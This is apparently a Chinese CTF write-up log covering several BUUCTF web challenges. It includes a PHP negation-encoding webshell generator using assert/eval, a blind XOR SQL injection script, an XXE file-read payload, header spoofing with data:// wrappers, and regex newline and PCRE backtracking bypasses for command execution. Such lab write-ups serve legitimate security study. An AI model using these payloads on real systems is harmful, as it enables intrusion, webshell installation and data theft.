Buu做题日志web6

[BSidesCF 2019]Kookie

图片

登陆环境有一个cookie的提示,用burp抓包,改下数据包

图片

发送过去就有flag了

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

rce,但是这里正则过滤大小写字母和数字。最开始我以为直接用无字符rce的脚本生成payload并且注意下长度就行,但是看了WP考点不是这个,就复现下
因为过滤了大小写字母和数字,可以用url编码+取反绕过或是异或。异或就是我们将php代码进行url编码后取反,传入参数后服务端会对url进行解码,这时因为取反后,会url解码成不可打印字符,所以达成绕过的效果

1
2
<?php
echo urlencode(~'phpinfo');

查看phpinfo();,搜索flag并没有,但是能看到禁用函数倒是有挺多,尝试构建一句话木马

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>

这里一句话是仿照网上的,由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用
所以我们需要用assert来构造,获得shell后,尝试用蚁剑连,但是连上去完全没有执行权限,等于是一个无用的shell

因为这里主要是php本地设置了disable_functions,所以我们可以尝试用蚁剑插件来绕过这个

图片

开始运行,在根目录运行./readflag就是flag(简易解法,稍微难点的要用恶意so文件,后续再补——)

[MRCTF2020]套娃

进入环境打开F12,有一些提示

1
2
3
4
5
6
7
$query = $_SERVER['QUERY_STRING'];  
   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){  
 die('Y0u are So cutE!');  
 }  
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){  
 echo "you are going to the next ~";  
 } 

substr_count是对特定变量其内部查找指定字符的个数,这里要求$query里下划线和下划线的url编码不能出现,否则就die,然后需要传一个b_u_p_t,并对其进行正则匹配,如果其是以23333以及以23333结尾的话,就可以进入下一步
然后这里出现了一个$_SERVER[‘QUERY_STRING’],其含义是获取的是?后面的值,因为我们传的参数里不能存在_和%5f,可以用空格进行替代,另外在正则匹配中回车字符代表一次匹配结束,所以这里还需要加一个%0A

构建第一个payload:

1
?b u p t=23333%0A

进入第二层,有一个php需要我们进入,进去有一堆jsfuck,解码后让我们任意post一个Merak,这里值任意
进入第三层,进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 




function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

ip限制这里,因为常见的是XFF和Client-ip这俩,但这里并不清楚使用哪个,所以先都用,也不影响。

1
file_get_contents($_GET['2333']) === 'todat is a happy day

这里要求我们用file_get_contents读取到的内容与它完全一致,根据之前伪协议的总结,直接使用data://协议传就行
data://text/plain,todat is a happy day

然后最后一点就是还要传一个$file,file会经过change这个函数进行简单加密

1
2
3
4
5
6
7
8
function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

逻辑挺简单的,先进行一个base64解码,然后对字符串的每一位先转成ascii然后根据所在位+i*2,再转回字符。由此重复两次,由于逻辑简单,完全可以去在线编译一个个解码出来,最后出来的是fj]a&f\b,并进行base64编码
反写脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="

图片

这样传就行了

[WUSTCTF2020]颜值成绩查询

简单的sql注入题,报错和布尔都没回显,不过异或倒是可以

1^1^1,诸如此类

写一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

def start_ascii():
    database_name = ""
    #table_name = ""
    #column_name = ""
    url = "http://0212c1b4-ce72-4f59-80f1-69a50cd1278b.node4.buuoj.cn:81/?stunum=1"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            #payload = "^(ascii(substr((select(database())),%d,1))>%d)^1#"%(i,mid)
            #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d)^1#" % (i, mid)
            #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d)^1" % (i, mid)
            payload = "^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, mid)
            res = requests.get(url + payload)
            if 'exists' in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high)//2
            # 跳出循环
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        #table_name = table_name + chr(mid)
        #column_name = column_name + chr(mid)
        print(database_name)
        time.sleep(1)

if __name__ == "__main__":
    start_ascii()

[NCTF2019]True XML cookbook

(奇奇怪怪的按照WP来,内网里没有存活的ip)

打开是个登录框,根据题目XML考虑是XXE注入,直接上之前的一道题的payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

图片

能读到用户文件,但直接读file:///flag是会报错的,怀疑没有这个文件,直接读源码也没啥有用的信息。

按照WP来说,要去看内网也就是file:///etc/host和file:///proc/net/arp这两个文件,会在这两个文件里存在一个存活的ip,运气好直接去读就行,运气好还需要burp跑一下C段爆破下,但我这里一个ip都没有奇奇怪怪

一些其他关于内网的文件

1
2
3
4
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

从XML相关一步一步到XXE漏洞
 一篇文章带你深入理解XXE漏洞

[FBCTF2019]RCEService

这道题也是怪怪的,虽然是说知道以json的格式去传命令来rce,但是看WP,大家都对源码的由来模模糊糊?奇奇怪怪

图片

打开环境就是一个输入框,提示按照json格式来

1
{"cmd":"ls"}

图片

但把命令换成cd或者pwd等其他就直接被检测,到这里就没辙了,只能去看WP里的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

过滤的确实太多了,看着都头疼
不过有一个重点,这里是采取正则过滤的,可以从正则入手

源码中,正则规则设置的是匹配整个字符串,也就是从开头和结尾进行检查,然后并没有/m也就是没有多行匹配,所以我们可以用%0a也就是换行绕过,所以在匹配时不会匹配%0a,但是%0a又存在所以会绕过

这里又有一个点

1
putenv('PATH=/home/rceservice/jail');

题目改变了环境变量,所以我们只能用绝对路径来使用命令,而不是相对路径(作用就是避免调用系统命令)
尝试构造payload

1
?cmd={%0a"cmd":"/bin/cat%20/home/recservice/flag%0a}

但是有点奇怪啊 直接在输入框里输入不太行,只能在hackbar里输入,怪起来了
但是后面看了下这并不是预期解,只是因为正则没写好而已

预期解反而是从P神的博客中得来(膜下P神),主要考点是回溯,没听说过,学习下

参考文章:PHP利用PCRE回溯次数限制绕过某些安全限制

(第一次在ctf中见到了编译原理的知识,长见识)

看完就知道什么意思了,仿照p神给出的脚本,根据题目要求改下

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://e368dc5e-4417-4353-b2de-be8f1b4dd4fe.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

总之就是正则回溯一般是有次数限制的,超过限制不会返回1或者0而是false,可以通过发送超长字符串,让正则执行失败,防止回溯来bypass就一定要用===来过判断